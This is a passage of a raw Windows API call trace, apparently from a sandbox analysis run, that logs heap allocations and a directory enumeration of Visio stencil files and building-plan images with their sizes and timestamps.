(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5e38 [0079.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.717] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57bfd700, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57bfd700, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_U.VSS", cAlternateFileName="")) returned 1 [0079.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbff0 [0079.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5f40 [0079.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.718] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a82900, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37a82900, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_U.VST", cAlternateFileName="")) returned 1 [0079.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc010 [0079.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6048 [0079.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.719] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa96600, ftCreationTime.dwHighDateTime=0x1ca47e8, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdaa96600, ftLastWriteTime.dwHighDateTime=0x1ca47e8, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_M.VSS", cAlternateFileName="")) returned 1 [0079.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc030 [0079.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6150 [0079.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.720] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x481e500, ftCreationTime.dwHighDateTime=0x1ca6bfd, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x481e500, ftLastWriteTime.dwHighDateTime=0x1ca6bfd, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_M.VST", cAlternateFileName="")) returned 1 [0079.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc050 [0079.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6258 [0079.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.721] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b3e00, ftCreationTime.dwHighDateTime=0x1ca47e9, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6b3e00, ftLastWriteTime.dwHighDateTime=0x1ca47e9, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_U.VSS", cAlternateFileName="")) returned 1 [0079.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc070 [0079.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6360 [0079.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.722] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33ec600, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa33ec600, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_U.VST", cAlternateFileName="")) returned 1 [0079.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc090 [0079.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6468 [0079.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.723] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3bb000, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3b3bb000, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASICD_M.VST", cAlternateFileName="")) returned 1 [0079.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc0b0 [0079.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6570 [0079.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.724] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e0a00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d9e0a00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASICD_U.VST", cAlternateFileName="")) returned 1 [0079.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc0d0 [0079.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6678 [0079.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.725] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68704d00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x68704d00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x18400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC_M.VSS", cAlternateFileName="")) returned 1 [0079.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc0f0 [0079.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6780 [0079.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.726] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e662e00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6e662e00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC_U.VSS", cAlternateFileName="")) returned 1 [0079.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc110 [0079.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6888 [0079.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x52c0) returned 0x11ec790 [0079.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.727] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0x33400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCKGRN_M.VSS", cAlternateFileName="")) returned 1 [0079.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc130 [0079.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6990 [0079.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.728] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0x30600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCKGRN_U.VSS", cAlternateFileName="")) returned 1 [0079.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc150 [0079.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6a98 [0079.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.729] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e95ed00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e95ed00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x51000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDCOR_M.VSS", cAlternateFileName="")) returned 1 [0079.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc170 [0079.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6ba0 [0079.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.730] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b1700, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa40b1700, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x4fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDCOR_U.VSS", cAlternateFileName="")) returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc190 [0079.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6ca8 [0079.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.731] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa02a100, ftCreationTime.dwHighDateTime=0x1c33f6c, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfa02a100, ftLastWriteTime.dwHighDateTime=0x1c33f6c, nFileSizeHigh=0x0, nFileSizeLow=0x72a6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDGPLAN.DWG", cAlternateFileName="")) returned 1 [0079.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc1b0 [0079.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6db0 [0079.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.732] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47737900, ftCreationTime.dwHighDateTime=0x1c2ef4f, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47737900, ftLastWriteTime.dwHighDateTime=0x1c2ef4f, nFileSizeHigh=0x0, nFileSizeLow=0xd9ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDGPLAN.JPG", cAlternateFileName="")) returned 1 [0079.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc1d0 [0079.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6eb8 [0079.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.733] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c5b200, ftCreationTime.dwHighDateTime=0x1c90742, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x82c5b200, ftLastWriteTime.dwHighDateTime=0x1c90742, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLNKDG_M.VSD", cAlternateFileName="")) returned 1 [0079.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc1f0 [0079.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e6fc0 [0079.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.734] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4269e00, ftCreationTime.dwHighDateTime=0x1c90742, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4269e00, ftLastWriteTime.dwHighDateTime=0x1c90742, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLNKDG_U.VSD", cAlternateFileName="")) returned 1 [0079.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc210 [0079.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e70c8 [0079.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.735] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab322500, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xab322500, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK3_M.VSS", cAlternateFileName="")) returned 1 [0079.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacc230 [0079.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e71d0 [0079.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.738] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe29b00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbbe29b00, ftLastWriteTime.dwHighDateTime=0x1ca4726, 